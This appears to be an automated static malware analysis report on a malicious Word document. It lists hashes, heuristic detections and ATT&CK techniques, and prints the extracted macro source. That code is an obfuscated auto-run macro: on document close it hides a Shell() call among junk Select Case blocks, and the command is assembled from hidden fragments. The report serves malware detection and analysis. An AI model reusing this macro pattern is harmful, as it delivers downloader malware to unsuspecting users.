Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 110832be2faf57b5…

MALICIOUS

Office (OLE)

141.4 KB Created: 2018-12-19 20:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 17994477e27aa9bfe0e1f2260da7a650 SHA-1: 9317337f030f73da27778d52b4d6ba3acae0cb34 SHA-256: 110832be2faf57b513de8aef11421cdcd180efc1892752300dfa345848308def
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoclose' macro triggers a Shell() call, which is highly suspicious and indicative of malicious intent. This technique is commonly used to download and execute further stages of malware. The ClamAV detection further supports the malicious classification.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6789543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6789543-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
V26879827 = Array(s44259190, b511134, Q04634290, Interaction.Shell(CVar("" + v06139881 + T2723026 + b198432 + i99013 + o235308 + r7874007.TextBox1) + k53793 + T0739778 + t12275 + R513123, 47 - 47), V19015)
   Select Case S5065
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
E818565
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4411 bytes
SHA-256: a58421718edb4e2831a497735750403b08c91c7cf0c55414b4cf72149674ba2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "r7874007"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
E818565
End Sub

Attribute VB_Name = "K3525949699157"
Function E818565()
On Error Resume Next
   Select Case A089
         Case 26459607
 h4245 = n6431
N280 = Rnd(p315 - Round(i632) / 278693311 - Round(P9563))
O3593 = i366
p557 = Rnd(i070 * Tan(71912643))
         Case 63911723
f2489 = a858
v5666 = Z391
      End Select
   Select Case N565
         Case 332880776
 n419 = I443
h164 = Rnd(q7593 - Round(Y398) / 128729154 - Round(r2427))
F8532 = h0730
w936 = Rnd(t178 * Tan(94420883))
         Case 101838848
L294 = J9406
h175 = K3634
      End Select
   Select Case q3732
         Case 105587896
 V9970 = C309
C5682 = Rnd(G8988 - Round(Z540) / 180293669 - Round(U014))
s1210 = i5415
z3219 = Rnd(U517 * Tan(122369836))
         Case 123419833
f260 = w7887
B8222 = T507
      End Select
V26879827 = Array(s44259190, b511134, Q04634290, Interaction.Shell(CVar("" + v06139881 + T2723026 + b198432 + i99013 + o235308 + r7874007.TextBox1) + k53793 + T0739778 + t12275 + R513123, 47 - 47), V19015)
   Select Case S5065
         Case 267702196
 I417 = j813
h119 = Rnd(F226 - Round(u718) / 26403444 - Round(X0694))
F434 = j8732
n2949 = Rnd(T859 * Tan(106540780))
         Case 62789919
Q3762 = X4150
d0355 = J8836
      End Select
   Select Case z646
         Case 148927091
 W950 = L384
E5940 = Rnd(u1589 - Round(k477) / 158027696 - Round(M668))
r2434 = J1508
Q9634 = Rnd(S1830 * Tan(63110167))
         Case 16556997
a816 = I4613
S6247 = d063
      End Select
   Select Case O481
         Case 102746326
 s4748 = l047
B1989 = Rnd(V5377 - Round(F5341) / 237677224 - Round(T4559))
f332 = G8588
u7554 = Rnd(E0366 * Tan(285647673))
         Case 170310661
l3835 = j0737
Q769 = R865
      End Select
   Select Case D7511
         Case 260186617
 l638 = D209
i8036 = Rnd(Q015 - Round(i353) / 221907310 - Round(j895))
i5164 = f3029
V2376 = Rnd(G2041 * Tan(21326043))
         Case 95371967
W5053 = D025
z743 = Y0841
      End Select
   Select Case j307
         Case 3491076
 H8907 = m683
f944 = Rnd(O976 - Round(Q3086) / 144927605 - Round(H0840))
O8345 = w404
r237 = Rnd(w106 * Tan(32243785))
         Case 282123792
t327 = X959
G1700 = Q664
      End Select
End Function


Attribute VB_Name = "F2837351375"

Attribute VB_Name = "b099508571"

Attribute VB_Name = "F9230730641494"

Attribute VB_Name = "F7092600"

Attribute VB_Name = "h27052046448"

Attribute VB_Name = "K28296121840198"

Attribute VB_Name = "H44124790458674"

Attribute VB_Name = "v981556196612"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Y2510192"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "L75611712982109"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "X1392881"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P17174229269601"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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